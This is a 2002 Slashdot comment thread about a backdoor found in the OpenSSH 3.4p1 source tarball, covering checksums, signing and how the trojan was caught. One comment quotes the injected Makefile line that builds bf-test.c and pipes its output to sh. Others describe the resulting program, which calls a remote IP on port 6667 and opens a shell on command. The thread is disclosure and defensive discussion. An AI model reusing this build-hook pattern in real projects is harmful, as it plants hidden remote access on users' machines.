Become a fan of Slashdot on Facebook

 


Forgot your password?
Close
typodupeerror
×
Security

OpenSSH Package Trojaned 574

Posted by michael from the md5-saves-lives dept.
cperciva writes "The original story is here. And more details are available from the guy's weblog here." Here's a mirror of that email message. Another reader writes, "Not really a trojan because all it does is make a connection to 203.62.158.32:6667." Still another writes "The tarball of the portable OpenSSH on ftp.openbsd.org is trojaned. The backdoor is only used during build - generated binaries are fine." There isn't much authoritative information available, but this appears legitimate - please be careful if you're updating any of your machines with code from ftp.openbsd.org, and we'll update this story with more links as information is available. Update: 08/01 19:13 GMT by M : OpenSSH now has an advisory.
This discussion has been archived. No new comments can be posted.

OpenSSH Package Trojaned More

OpenSSH Package Trojaned

Comments Filter:

  • MD5 sums (Score:5, Informative)

    by cheezycrust ( 138235 ) on Thursday August 01, 2002 @07:16AM (#3991154)
    From the newsgroup message [freebsd.org]:
    This is the md5 checksum of the openssh-3.4p1.tar.gz in the FreeBSD

    ports system:
    MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8

    This is the md5 checksum of the trojaned openssh-3.4p1.tar.gz:
    MD5 (openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57

    • Re:MD5 sums (Score:3, Informative)

      by karmawarrior ( 311177 )
      If you don't have it, you can get md5sum here as part of the GNU textutils package [gnu.org]. (It isn't shipped with many Unixes, including DEC Alpha Unix which I'm using right now, and thought this would be useful after finding that a Google search for "md5sum source code" was about as useful as a chocolate teapot...)

    • I think it's okay now (Score:5, Interesting)

      by hardave ( 87702 ) on Thursday August 01, 2002 @09:27AM (#3991914)
      I'm one of the admins for SunSITE Alberta which houses openbsd.org. I just checked the file currently available for download and it seems to be clean. The MD5SUM matches up, as well as extracting and looking at the source bf-test wasn't present.

      This really sucks since I woke up only like 10 minutes ago and find that the most downloaded file from your site may be trojaned. I have a distinct feeling that the rest of my day isn't going to be much better.

  • hmmm.... (Score:4, Funny)

    by reaper20 ( 23396 ) on Thursday August 01, 2002 @07:17AM (#3991161) Homepage
    So the sources are bad but the binaries are good? Is today bizarro-world day or something?

    • Re:hmmm.... (Score:4, Funny)

      by Chester K ( 145560 ) on Thursday August 01, 2002 @07:22AM (#3991184) Homepage
      So the sources are bad but the binaries are good? Is today bizarro-world day or something?

      This is yet another example of why everyone should use proprietary closed source software! I bet nobody's ever been compromised through a trojan horse in the build process of Microsoft Word!

      • Re:hmmm.... (Score:2, Insightful)

        by NumberSyx ( 130129 )
        So tell me, are you 100% sure Word isn't Trojaned ? Seriously thousands of programers have worked on it over the years, how can we be sure a Trojan wasn't introduced. Microsofts policy is not to do complete rewrites of code, they always start with what they already have, try to fix bugs and add features. It is certainly within the realm of possibility that a Trojan has existed in Word for years undetected (it is not likely, but it is possible). Even if they did find it, they would certainly take it out in the next version or even in a service pack, but they probably wouldn't tell anyone and they would only admit to it if a third party exploited it and made it public.

    • Re:hmmm.... (Score:4, Informative)

      by ndecker ( 588441 ) on Thursday August 01, 2002 @07:27AM (#3991223)
      The trojan executes itself from the Makefile. It compiles a daemon that tries to contact 203.62.158.32 on port 6667 and offers a remote shell for the user compiling the package. After that all files involved are removed and the makefile changed to the original one. The compilied ssh should contain anything from ( this ??? ) trojan.

      Further reading [freebsd.org]

  • Why not unplug your box from the network while building? After that it should be OK, seeing as how 'generated binaries are fine.'??

    Or am I thinking far too simply for my own good again? :)

    • Or just edit openbsd-compat/Makefile.in and remove the line

      @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &

      The backdoor code will still be there, but it won't be built. Or, alternatively, just wait for it to be fixed. Since the SSH binaries themselves aren't affected by this, binary packages from your distribution vendor should be fine.

    • This was just one type of trojan. Some others could go dormant for several hours before contacting the world outside. Simply "building the binaries with plug off the wall" is not a solution. It's a knee-jerk reaction and still at fault. The correct way is to check the package against a MD5sum or (preferably) GPG signature - and if possible, these should be at a different machine on a different network from the tarballs.

      On the other hand, just looking at the trojan source quickly, it looks very much like a slightly evolved version of those found in irssi, BitchX, dsniff and fragroute configure scripts. This has already been noted by some other individual here as well. See his post for links.

  • I'm suprised... (Score:2, Insightful)

    by DJPenguin ( 17736 )
    ...that this doesn't happen more often.

    People keep harping on about how open source software means that they can trust downloaded source code, but who actually reads through to source code for something before they actually compile?

    Usually it's just ./configure && make && make install.

    James

    • Re:I'm suprised... (Score:4, Interesting)

      by Queuetue ( 156269 ) <queuetue@gm a i l . com> on Thursday August 01, 2002 @07:26AM (#3991217) Homepage
      This shows why I trust OS peer-reviewed code... It only takes one curious person to find an exploit, and OSS allows that person to be anyone. This one was found in 6 hours, by someone who wasn't on the OpenBSD team or the OpenSSH team.

      It's also why I spend (some say waste) a few idle cycles now and again just perusing code - it only takes one person to notice an anomaly. The more aggregate cycles spent reviewing code, the better the systems get.
    • ... who actually reads through to source code for something before they actually compile?

      MD5. :)

      I do scan through some of the code I compile now and then. If everyone does this, it should catch a lot of these "additions".

      OTOH, MD5 does not hurt. For instance, it helps to keep my FreeBSD box secure as in this case.
    • There are many big corps (those whose ticker symbol is only one or two letters) who are using OSS.

      If they have a competent IT organization they have a team that will check that the software does not make any funnies.

      Add to that just curious people, people modifying the software to their own needs, etc. and you get an army of people looking for problems and improvements.

      That beats CSS in many instances (not all certainly), does not seem any worse and is more reassuring (the people evaluating normally do not have a vested interest in making the software work other than to satisfy their own needs).

  • Security, Antisecurity and a Purposeless Anecdote (Score:4, Interesting)

    by f00Dave ( 251755 ) on Thursday August 01, 2002 @07:21AM (#3991180) Homepage
    On the one hand, there's stories about the improved security and paranoia [slashdot.org] of OpenSSH.

    And on the other hand, there's stories like this one and that [slashdot.org] one about anti-security "features" in the same package.

    Now, my question is this: is this indicative of open-source development projects, in general? [Yeah, it's faster to fix issues, but if the distros are *causing* issues in the first place, well.... ;-) ]

    Reminds me of a company I worked for that was timebombed by a previous programmer. Unfortunately for him, when we looked at the source code, all was well (he'd copied the sources back over his modified ones used in the binary build) ... but he'd left the .bak files. Guess what was in the .bak files. Good, now guess how we discovered a few other potential surprises he'd left for the rest of us to encounter.

    Anyway, I can't see how a disgruntled coder could really affect an open-source project, unless there's personality factors at play that I don't know about. Anyone have some meat on this OpenSSL mess?
  • wouldn't be better to change the 'main' openbsd site to be one of its current mirror?
    I suppose that a mirror has better chances to be managed with motivation and skill, surely more than a solaris box in a university actually has.

    also, the mirror should run openbsd itself...

  • How many people do check the MD5 checksum? (Score:3, Insightful)

    by frleong ( 241095 ) on Thursday August 01, 2002 @07:21AM (#3991182)
    Do you check the packages downloaded from sites that you usually do not have problems with? Like from redhat.com, debian.org and in this case openbsd.org?

    Also, how many people do read the makefiles before running them on your machine? And when installing binaries require root access?

    If this story is really true, how much safer is open-source programs, when compared with closed source programs? Notice that even with closed source programs, *some* people will eventually discover that they are trojan or not.

    • Re:How many people do check the MD5 checksum? (Score:5, Informative)

      by GigsVT ( 208848 ) on Thursday August 01, 2002 @07:24AM (#3991205) Journal
      The guy caught it because of the installer automatically checking the MD5 checksum. Someone would have to explicitely ignore the MD5 error to be hit by this.

      The same is true of other systems like the Red Hat Network.
      • except where on most OS (unlike most BSD) there is no port system where it checks the MD5 unless you do it by hand by then they could have changed the one on the ftp server also.

        The port system includes MD5 sums when you download the port system or checkout it from cvs.
        • except where on most OS (unlike most BSD) there is no port system where it checks the MD5 unless you do it by hand by then they could have changed the one on the ftp server also.

          I don't know what OS you are talking about. Debian apt automatically [debian.org] checks MD5sums, Red Hat network uses cryptographic certificates to verify package integrity, even Windows has a package verification system.
        • Of course by this statement you mean BSD ports is one of *few* (not only) distribution systems out there that is both comprehensive enough and easy enough that people don't try to bypass it and do it by hand.

          For example, RedHat Network verifies downloads. The problem here is that the network was not too comprehensive, not really that integrated into the 'core' of the package management (more of an add-on, so it's not necessarily in your face every time you deal with package installs), and is made inconvenient by its cost. Not saying it is bad to charge for it, just that for most users out there the service is not enough of an added benefit to justify the cost. Hell even trying to stick to RPMs at all falls through, even if not sticking to red hat network. When I ran redhat, what redhat provided was pretty slim choice of packages from them, and what was there was outdated by the time they shipped, and not many independent projects offered RPMs, so most of my system was unmanaged....

          Now debian with apt is more comprehensive and loads more convenient (free, 'more' in your face than rhn, but there is still dpkg). Of course packages still out of date....

          Now my current favorite is gentoo with its portage system. Truly the core of the 'package' management system is so tightly intertwined with the distribution system that it's hard to ignore. They stay almost entirely cutting edge and nearly everything I want is in there. The one thing I had always admired about the BSDs was the ports system, but the hardware support under linux was better, so gentoo is a good medium....

          Of course none of this is possible on a commercial platform fed by commercial apps. First off, payment methods complicate distribution. Secondly, in a group of businesses in it for the money, what sane business would make it easy to get *competing* software? For example, MS's 'windows update' sometimes offers free MS apps, but beyond that, nothing comes out of it. Even if Nero was free, and even if Zoomplayer is free *and* better than Windows Media Player, MS would never distribute them as they would compete and threaten MS's future hold over tight drm control in the future...
      • The guy caught it because of the installer automatically checking the MD5 checksum

        I'm a little confused. How can you trust a package to check it's own MD5 checksum? If I'd slipped a malicious program into another app, the next thing I would do is hack the checking code to falsly tell the user than the checksum is fine.

    • Re:How many people do check the MD5 checksum? (Score:4, Interesting)

      by stevey ( 64018 ) on Thursday August 01, 2002 @07:30AM (#3991236) Homepage
      Do you check the packages downloaded from sites that you usually do not have problems with?

      I've been wondering about this - and the answer is almost certainly not.

      I've written a fairly widespread mp3/ogg streamer [gnump3d.org]. I used to list MD5 sums on the download page - but recently I've switched to signing with my GPG key.

      (On the basis that if somebody altered the downloads they'd be capable of fixing up the MD5sums file in the same directory too).

      Taking a look at the download statistics [sourceforge.net] you can see that about 1 person in 50 downloaded the signature file to match their archive.

      That suggests that 2% of people routinely check signatures. I assume that less people check the code than check the signatures so ... it's probably safe to say that no more than 0.5% of people do.

    • What we need is a trusted 3rd party that has all the checksums. It should not be possible to change the keys without a GPG-signed message (or something similar) from the package-maintainer. Package-download-software should then automatically check the MD5-sum on the TTP server. Does anybody know if such service exists or if there are plans to set this up?

    • Well, the problem with the md5 checksum is that it only protects against download errors, not against replacement at the server (unless you have an independent source for that checksum): It's trivial to calculate the checksum for the changed package, and if you manage to replace the package file, you most probably manage to replace the file with the md5 key as well.

      The only way to really secure against such replacements is to use public-key cryptography to sign the package. Then no one can recreate the signature without having the private key.

      Maybe for installing, a safer way would be to give the user account temporarily access to the destination directories, then install as a user, and finally change owner permissions by hand. Of course this won't work if installation consists of more than just copying files to other directories, and this extra stuff needs root permissions. However, I guess that's rare.

    • With the ports system, they would have to change the checksum on FreeBSD's systems as well as the source on OpenBSD's site. Keeping them separate helps a lot.

    • DUH! (Score:2)

      by 4of12 ( 97621 )

      My major gripe is that most of us lazy bastards (he, me too!) will compare:

      • the MD5 checksum of the source tarball with
      • the number that appears on the webpage from the same friggin site where the tarball originated.

      Like, if I were a Trojan cracker I wouldn't make sure to regenerate the md5sum on the web page to match up perfectly with the new tar ball!

      If someone can replace blah.tar.gz they have a fair chance at being able to replace a blah.html file.

      It really points up how good security for distributed packages depends on getting signatures and hashes distributed out to lots of different places in lots of different ways to make it much more difficult for a Trojan author to compromise that many different independent points of verification.

      Don't rely completely on the included one-site-tells-all instructions for verification. They could be artfully contrived.

      If we don't bother to use distributed verification to check the authenticity of our software, then we have only ourselves to blame for the consequences.

  • Checksum...? (Score:5, Interesting)

    by DJPenguin ( 17736 ) on Thursday August 01, 2002 @07:22AM (#3991183)
    OK so they trojaned the source tar.gz, and uploaded it to the server somehow. So why did they not update the MD5SUM also?

    • Re:Checksum...? (Score:3, Informative)

      by lertl ( 455570 )
      The checksum is part of the FreeBSD ports tree and couldn't be affected by the bad guys, as it is local on your machine. OTOH, if you would just say "make NO_CHECKSUM=yes" you'd ignore the warning and run just into trouble :-)
    • It looks like the MD5 that caught the problem was located on the FreeBSD ports server. The bad guys would have had to compromise an entirely different box, run by different admins and using a different OS to change the MD5 in this case.

      This looks like a strong argument for locating the checksums elsewhere, or for GPG signing tarballs instead of MD5 checksums. I've always looked at MD5 as more useful for spotting accidental corruption than intentional.

  • Idle curiosity (Score:3, Informative)

    by Glytch ( 4881 ) on Thursday August 01, 2002 @07:22AM (#3991186)
    So, does apt-get use checksums and gpg signatures these days? Or are there thousands of debian machines out there just begging to be owned?

    • Re:Idle curiosity (Score:4, Informative)

      by reeve ( 216640 ) <reeve@ductape. n e t> on Thursday August 01, 2002 @07:46AM (#3991296) Homepage
      Yes, apt-get uses MD5 checksums, and I'm not sure about gpg signs but Debian's build system uses them to check the sources.

  • Trojan (Score:5, Interesting)

    by GigsVT ( 208848 ) on Thursday August 01, 2002 @07:22AM (#3991188) Journal
    The C code is not that smart. It tries once per hour to connect to port 6667 on the machine 203.62.158.32 which is web.snsonline.net and waits for commands from the person or persons who 0wn3d the machine. Does it get an M, it sleeps for another hour. Does it get an A, it will abort. Does it get an M, it will spawn a shell. Some people will build it "normal" privileges and install it as root: they will get a shell with "normal" privileges. Other people will build it with "root" privileges and the shell will have "root" privileges.

    Tell me how this isn't a trojan again? A remotely controllable program that could possibly give the attacker root access?

  • It wasn't orgianally like that. (Score:5, Informative)

    by Neon Spiral Injector ( 21234 ) on Thursday August 01, 2002 @07:23AM (#3991193)
    I got my copy of the OpenSSH source from ftp.openssh.org the day it was released, and mine doesn't contain the bf-test.c file and the MD5 checksum is correct.

    So if the file was modified it happen later.

  • Trojan executes code read via /bin/sh (Score:3, Informative)

    by XTaran ( 70498 ) <abe@nOspam.deuxchevaux.org> on Thursday August 01, 2002 @07:25AM (#3991211) Homepage

    Not really a trojan because all it does is make a connection to 203.62.158.32:6667

    But it reads from the connection and executes the read code via /bin/sh. You call this not a trojan?

  • Trojaned source distributions (Score:5, Interesting)

    by dzym ( 544085 ) on Thursday August 01, 2002 @07:26AM (#3991218) Homepage Journal
    So far we've seen dsniff and other programs from monkey.org trojaned [linuxsecurity.com], irssi [irssi.org], BitchX [securityfocus.com], and now OpenSSH.

    At this point I think we need to make the assumption that the problem is a bit more common than viewing these compromises individually would suggest, and perhaps these individual events can even be linked together.

    And for the developers out there, I think it's time to check over all of your current distributed source tarballs.

  • OpenSSH (Score:5, Informative)

    by Anonymous Coward on Thursday August 01, 2002 @07:28AM (#3991228)
    The trojan is executing during BUILD ONLY. The trojan attempts to connected to an unknown daemon on 203.62.158.32:6667 (system reinstalled now and even more secured - thanks for that, ^Sarge^), and awaited one out of three characters for a command from the server it connected to - M, A and D.

    M respawned the process.
    A killed the trojan.
    D launched /bin/sh.

    With the D command, as given _to_ the trojan, the daemon on 203:62.158.32:6667 was given control of the trojaned users system shell. As most people, unfortunally, decide to compile as root, this potentially could have given the hacker a large amount of root shells around the globe with little or no hazzle.

    Funny, this is. Expect more trojans that look like this, but in a better disguise. :-/

    -- Hans.

  • What's the big worry (Score:5, Funny)

    by back@slash ( 176564 ) on Thursday August 01, 2002 @07:32AM (#3991248)
    C:\>bf-output.sh
    'bf-output.sh' is not recognized as an internal or external command,
    operable program or batch file

    This trojan doesn't look very 31337 to me.

  • One of the Paris mirrors seems to have a "healthy" version - if one dares believe the info on checksums.

    juan:~> md5sum openssh-3.4p1.tar.gz
    459c1d0262e939d6432f193c7a4b a8a8 openssh-3.4p1.tar.gz

    ftp://ftp.fr.openbsd.org/pub/OpenBSD/OpenSSH/por ta ble/openssh-3.4p1.tar.gz

  • My analysis (Score:4, Informative)

    by lertl ( 455570 ) on Thursday August 01, 2002 @07:40AM (#3991280) Homepage
    I'm by far not a very good C programmer or security expert, but from what I have seen this thing does the following:

    • It differs from a "clean" openssh package by one line in the Makefile and an additional sourcefile.
    • The sourcefile is very cryptic and if you wouldn't know you'd think it's just an ssh source file like any other.
    • The suspicious line in the Makefile compiles the sourcefile, executes it. This binary itself writes out some shellscript, which in turn generates another C source file, which gets compiled and executed.
    • The additional line in the Makefile and the additional source file are deleted.
    • This last binary opens up a socket to some server and, depending on the input it gets from the socket, exits, respawns or opens a shell (/bin/sh).

    So the backdoor is in the Makefile, not the OpenSSH software itself.

    One thing to mention is that IMHO this is not a fault of OpenBSD. As anyone can read in their FAQ [openbsd.org] www.openbsd.org (and ftp.openbsd.org) is run on Solaris.

  • Slashdotted (copy of the weblog) (Score:5, Informative)

    by MavEtJu ( 241979 ) <slashdot&mavetju,org> on Thursday August 01, 2002 @07:43AM (#3991288) Homepage
    I should have seen this coming... Here is a copy of the weblog. It will be back after 24 hours.

    01 August 2002 - 19:10:23 - OpenSSH 3.4p1 package trojaned

    And all I was thinking was "Oh! I should upgrade ssh on these two machines before there are problems...". The beauty of FreeBSD is that it goes like this:

    [~] edwin@k7>cd /usr/ports/security/openssh-portable
    [/usr/ports/ security/openssh-portable] edwin@k7>make
    [/usr/ports/security/openssh-portab le] edwin@k7>make install

    Easy euh? It went well, except for the second step:

    ===> Extracting for openssh-portable-3.4p1_7
    >> Checksum mismatch for openssh-3.4p1.tar.gz.
    Make sure the Makefile and distinfo file (/usr/ports/security/openssh-portable/distinfo)
    a re up to date. If you are absolutely sure you want to override this
    check, type "make NO_CHECKSUM=yes [other args]".
    *** Error code 1

    Euh... I didn't remember seeing a change in the FreeBSD ports regarding this. And I didn't see an announcement for it from the people from OpenSSH... Oh well, it happens. I downloaded the new openssh-tarball:

    -r--r--r-- 1 12187 mirror 840574 Jul 31 16:47 openssh-3.4p1.tar.gz
    -r--r--r-- 1 12187 mirror 232 Jun 26 08:20 openssh-3.4p1.tar.gz.sig

    That's weird, they've rerolled the tarball without updating the signature file. I asked a couple of people on irc (#sage-au) if they have had troubles with compiling openssh the last days. Yups, ^Sarge^@bofh.snsonline.net also had it, he had a checksum mismatch.

    Curious as I was, I extracted the old and new tarball and this were the differences:

    [~/test] edwin@k7>diff -r -u openssh-3.4p1-old openssh-3.4p1
    diff -r -u openssh-3.4p1-old/openbsd-compat/Makefile.in openssh-3.4p1/openbsd-compat/Makefile.in
    --- openssh-3.4p1-old/openbsd-compat/Makefile.in Wed Feb 20 07:27:57 2002
    +++ openssh-3.4p1/openbsd-compat/Makefile.in Thu Feb 1 08:52:03 2001
    @@ -26,6 +26,7 @@
    $(CC) $(CFLAGS) $(CPPFLAGS) -c $bf-test.out; sh ./bf-test.out &

    $(COMPAT): ../config.h
    $(OPENBSD): ../config.h
    Only in openssh-3.4p1/openbsd-compat: bf-test.c

    At this moment I asked a couple of people on irc (#sage-au) if they have had troubles with compiling openssh the last days. Yups, ^Sarge^@bofh.snsonline.net also had it, also a checksum mismatch. Time to go deeper into it...

    bf-test.c is a weird file. It talks about HP-UX PL.2 systems, it talks about _CRAY notes, it talkes about none-T3E machines, it talks about _ILP64__ and it does an epcdic2ascii() call. I'm not very skilled in computers (well, I am :-) but if people are talking about HP-UX, Cray, ILP64 and epcdic2ascii(), I know it's either too difficult for me (You are not supposed to understand this) or it's bullshit (We can charge the phaser-array via a shortwave link through the warpcore). Time to startup vmware and run the experiment: gcc -o bf-test bf-test.c.

    bf-test itself is pretty harmless, it only prints things to the screen (remember the change in the makefile? execute, redirect the output and execute the output). The shell script it prints creates a C program and tries to compile it. If it doesn't succeed at first, it tries to link other libraries (everybody who has ever ported a Solaris knows that you have to explicitely link to libresolv et al). So it's cross-platform :-)

    The C code is not that smart. It tries once per hour to connect to port 6667 on the machine 203.62.158.32 which is web.snsonline.net and waits for commands from the person or persons who 0wn3d the machine. Does it get an M, it sleeps for another hour. Does it get an A, it will abort. Does it get an M, it will spawn a shell. Some people will build it "normal" privileges and install it as root: they will get a shell with "normal" privileges. Other people will build it with "root" privileges and the shell will have "root" privileges.

    While analyzing the code on #sage-au and mentioning the hostname, ^Sarge^ looked strangely at me (well, it's IRC so you never know but that's what I would do): "That is my machine.". The good news is that I didn't have to worry about finding out who manages the machine!

    The next step is to inform somebody who manages the openssh-packages: The OpenBSD team. Up to right now, I have had no experience with the OpenBSD team (if you check my website you'll see that I'm more a FreeBSD guy :-). The head-guy of the OpenBSD team is living in Canada and they're now sleeping there. I've spend a couple of days on #freebsd on irc.openprojects.net, so I just tried #openbsd.

    *** MavEtJu has joined #openbsd
    Euh... anybody from the openssh-team here?
    I have some news for you...
    What's up?

    I have contact! Marius asked me the standard questions (how did you find out, how can I see it, when did you find out) and after some investigation he said "I think I'd better call (and now I have forgotten the name)". Coolies! I think I found a right person to talk to! It looks like things are going to roll now, I can take my hands of it.

    The last things I did were writing some emails to a couple of mailinglists and guide ^Sarge^ to #openbsd. For the rest I wasn't of very much use anymore, so I just kept monitoring #openbsd. And the logfile of my website, which went ballistic.
    Aftermatch

    * The portable version wasn't the only which was trojaned, the normal version was also.
    * It seems it took only six hours before somebody was alert enough to see that there was something wrong, all thanks to the checking of the MD5-checksum [insert a sweet 'aaaaaahhh' here]
    * OpenSSH itself wasn't trojaned, the tarball was. There is nothing wrong with OpenSSH itself (this time :-)
    * The building of a port (under FreeBSD at least) is done as root with all its privileges. This is a wrong approach. For a time I tried, as an experiment, to build ports as user "port". This worked fine except for the "make clean" part, in which I couldn't remove the files created during the "make install" phase and the files which were made during the building of the RUN_DEPENDS ports.
    • I personally like downloading packages from the consistently fast local Freebsd mirror sites. Set this in your /etc/make.conf file:
      MASTER_SITE_BACKUP?= \
      ftp://ftp5.freebsd.org/pub/FreeBSD/ports/distfiles /${DIST_SUBDIR}/
      MASTER_SITE_OVERRIDE?= ${MASTER_SITE_BACKUP}

      I'm using ftp5. YMMV. However, when ports and packages trickle in from the maintainers, they're always found on the FreeBSD mirror and this makes for faster downloads.

  • Well, I guess that's what they get... (Score:3, Funny)

    by MrBadbar ( 168841 ) on Thursday August 01, 2002 @07:48AM (#3991305)
    ...for hosting ftp.openbsd.org on a box running SunOS, not OpenBSD!

  • New catch phrase (Score:4, Funny)

    by martinde ( 137088 ) on Thursday August 01, 2002 @07:50AM (#3991319) Homepage
    It was "no remote holes in 5 years". Now it's "one remote hole in the default install, in nearly 6 years!"

    Next it will be "one remote hole and one 'harmless trojan' in the default install, in really very close to 6 years!"

    • Re:New catch phrase (Score:2, Informative)

      by LizardKing ( 5245 )

      Next it will be "one remote hole and one 'harmless trojan' in the default install, in really very close to 6 years!"

      No it wont, because the trojan was only in the source to the portable version. OpenBSD ships with a binary which is from the unpatched source.

  • Other's haven't mentioned this, but I think the real issue here is persistence. If I buy a piece of software from company A, I can't just sit around and read the source code to figure why it works a certain way to figure how to best use the application. This means the only eye balls reading the code for fun or for real reasons are new programmers joining company A. How likely is a closed environment going to encourage programmers and user to explore and look at the code? Trojans and virii will happen, it's a given. Encouraging people to look at the code is your best bet.

    How many companies are going to tell a new programmer to go ahead and spend 6 months reading through all the code? How many companies encourage all the programmers to look at old code, check every line every couple weeks and perform extensive regression testing? From my own experience, few companies look at old code and the regression testing is typically a narrow focus on the functional aspects. Things like a trojan aren't going to be caught by the typical regression testing procedures.

    On my free time, I do read through open source code for fun. From my own biased experience, open source code tends to be much cleaner and better documented than closed source projects. This isn't including all the PERL code I've seen written in creative ways to make visual art. I've also seen clean PERL code, but that's another story. Back to the point. Persistence is what wins in the end when it comes to security. The minute a person get lazy is when an attack will happen. But I seriously doubt this will change in the near future, since it's really a matter of culture. Businesses can't afford to have a team of programmers to sit around and audit their security every couple months. So unless our culture changes and realizes quality is more important than convienance, things like this will continue to increase in frequency. Of course everyone living in a modern techno society is guilty of it. But that's not to say technology is the cause of it, though they are related.

  • Why not hack the md5 checksums? (Score:2, Insightful)

    by Anonymous Coward
    I download lots of tarballs from sites that provide a sum file as well. Presumably, you check the file to make sure it's checksum matches that in the sum file. If it does, you should be good to go.

    So, in this case, couldn't someone just as easily generate an md5 sum for the hacked file and put that in the sum file? I know on bsd you have ports which would prevent this, but what about Linux? Everything would seem kosher if the hax0r replaced the sum file...

    thx for responses.
    • So, in this case, couldn't someone just as easily generate an md5 sum for the hacked file and put that in the sum file? I know on bsd you have ports which would prevent this, but what about Linux?

      This is a solved problem. Red Hat, for example, GPG signs the MD5SUM file. So you can verify that the person who created the MD5SUM was authorized to do so.

  • Open Source PKI Needed? (Score:4, Interesting)

    by carbon60 ( 25116 ) on Thursday August 01, 2002 @08:15AM (#3991442) Homepage
    It seems like we need to start using a "web-of-trust" based PKI solution, like OpenPGP. And educating users to actually check the signatures!!!

    On a related note, does Debian use anything to prevent this from happening? I for one don't worry too much when doing an update, maybe I should...

  • GnuPG a good idea (Score:2, Insightful)

    by giminy ( 94188 )
    Once again I call people's attention to GPG [gnupg.org], which can be used to digitally sign source code. Then, if something is trojaned, you know who to blame for including the bum code.

  • hostinfo (Score:2, Interesting)

    by suwain_2 ( 260792 )
    $ hostinfo -n 203.62.158.32
    snsonline.net
    $ whois 203.62.158.32

    % How to use the APNIC Whois Database www.apnic.net/db/
    % Upgrade to Whois v3 on 20 August 2002 www.apnic.net/whois-v3
    % Whois data copyright terms www.apnic.net/db/dbcopyright.html

    inetnum: 203.62.158.0 - 203.62.159.255
    netname: AUSTRALIANINTER-AU
    descr: Australian Internet Solutions Pty Ltd
    descr: Suite 3, Level 5, 277 Flinders Lane
    descr: Melbourne
    descr: VIC 3001
    country: AU
    admin-c: DA53-AP
    tech-c: DA53-AP
    mnt-by: MAINT-AU-KALED
    changed: register@aunic.net 19970211
    changed: aunic-transfer@apnic.net 20010525
    changed: hostmaster@apnic.net 20011115
    source: APNIC

    person: Domain Administrator
    address: Level 4,
    address: 180 Bourke St,
    address: Melbourne, 3000.
    country: AU
    phone: +61-3-9650-5566
    fax-no: +61-3-9639-1897
    e-mail: kaled@dalek.ains.net.au
    nic-hdl: DA53-AP
    mnt-by: MAINT-NEW
    changed: kaled@dalek.ains.net.au 20010619
    source: APNIC

    I've apparently triggered the lameness filter with this... BTW, I can ping this host, so it's still up. However:

    $ telnet 203.62.158.32 6667
    Trying 203.62.158.32...
    telnet: Unable to connect to remote host: Connection refused

    Looks like they closed that port?
  • Here is an nmap dump of the IP in question that
    the backdoor tries to connect to:

    nmap options (where options is filtered by Slashdot)

    ALRIGHT FSCK THIS!! You'll just have to take my
    word for it the nmap showed the port closed (do it yourself) I've just tried 10 different ways to submit the nmap output and the lameness filters won't let it through.

    Note that port 6667 does not appear to be open, although a backdoor is still a pretty big thing
    to worry about. Also note that much of the output
    is cut out due to LAME Slashdot filters.

  • Prescient Alan Cox / Theo exchange (Score:5, Interesting)

    by wfrp01 ( 82831 ) on Thursday August 01, 2002 @08:49AM (#3991602) Journal
    Check out this little snippet (the whole message [lwn.net] can be found on lwn.net) from an email from Theo:

    We've been trying to warn vendors about 3.3 and the need for privsep, but they really have not heeded our call for assistance. They have basically ignored us. Some, like Alan Cox, even went further stating that privsep was not being worked on because "Nobody provided any info which proves the problem, and many people dont trust you theo" and suggested I "might be feeding everyone a trojan" (I think I'll publish that letter -- it is just so funny).

    Please do publish that letter, Theo. That would be very interesting.

    PU

    • Just to be clear - this does not, of course, imply that Theo has anything to do with this. But the message is uncanny.

    • Trolling for karma, eh? (Score:4, Insightful)

      by Inoshiro ( 71693 ) on Thursday August 01, 2002 @11:12AM (#3992741) Homepage
      Alan Cox was calling Theo to task because he didn't like how Theo concealed the exact security problem until a workaround was given out. This is an attitude some developers have. It's not the best attitue from a customer/end-user standpoint, but some people who write code and give it for free use still don't understand it. Alanx Cox sounds like, despite him being a valuable asset to the community, he does not understand this.

      If he'd have said, "for all we know, OpenBSD could attract near-earth bodies" would you post this comment as "eerily prescient" on the recent asteroid stories? Sometimes things just aren't related. Despite what Mulder may think.
  • As it seems to happen more and more often that ftp servers get cracked and md5sum's don't seem to help (since users are to lazy to check them and the gpg signatures), could peer2peer services provide a solution? With things like GnuNET you don't download an URL, but instead a checksum. So there wouldn't be an easy way to replace a file in a single location, but one would need to spread a fake md5sum and make people belive that the fake one is the real one. With peer2peer systems there wouldn't be a single point of failure, where the file could get trojaned, once the correct md5sum is spread in the public it would be nearly unchangable. It would also be impossible to hijack mirrors or that trojaned files would be mirrored, since mirroring would be handled by the network itself, not by people. Well, its just an idea, but GnuNET and Co. seem to have a much more straight forward way of handling checksums, than you can ever get with http or ftp at the moment.

  • So, it was introduced, caught and demonstrably fixed in under 24 hours, with full disclosure and openness at every step. Excuse me if I see no cause for panic.

    And can anyone explain how this is even in the same ballpark as the "w3 0wnz j00r b0xen" EULA's, 'phone home's and brazenly trojan updates that Microsoft are inflicting on their customers?

  • How to fix this from the site it's calling (Score:3, Insightful)

    by bee ( 15753 ) on Thursday August 01, 2002 @09:36AM (#3991976) Homepage Journal
    Since the trojan dies if it sees an A first thing, obviously the guy running the box it's trying to contact should run something like this:

    yes "A" | nc -p 6667

    Then every daemon that connects gets an A right away, and thus dies. End of problem.

  • FYI: Gentoo OK (Score:3, Interesting)

    by jehreg ( 120485 ) on Thursday August 01, 2002 @09:42AM (#3992027) Homepage
    Gentoo [gentoo.org] is a source-only distribution. This trojan has not affected Gentoo since the MD5 digest is checked before compilation occurs. I just checked, the MD5 digest included in the "portage tree" is the correct one, and portage has detected the change.

    End result: no one in Gentoo has been able to compile/emerge openssh for the last few days.

    Which is good :-)

  • blocking network traffic (Score:3, Informative)

    by mborland ( 209597 ) on Thursday August 01, 2002 @09:55AM (#3992112)
    This sort of a problem is a proof of defense-in-depth practices. Most people have pointed out the value of creating (and checking) gpg signatures, but in addition if you use iptables on the target machine (or a firewall elsewhere) your security is improved quite a bit. If you impose stringent rules, you reduce the possibility that trojaned code will be able to contact-the-mothership/scan/DoS. If you log such unusual activity, then it will be pretty obvious that something has gone wrong.

    In particular, if the machine in question is a server (usually the reason you have SSH on a box), you should make every possible effort to remove outgoing traffic. There's usually no reason for a server to create outgoing connections to the internet, and if it needs to connect to any specific local resources (e.g. a database machine), limit the iptables/routers appropriately.

Slashdot Top Deals

If you steal from one author it's plagiarism; if you steal from many it's research. -- Wilson Mizner

Close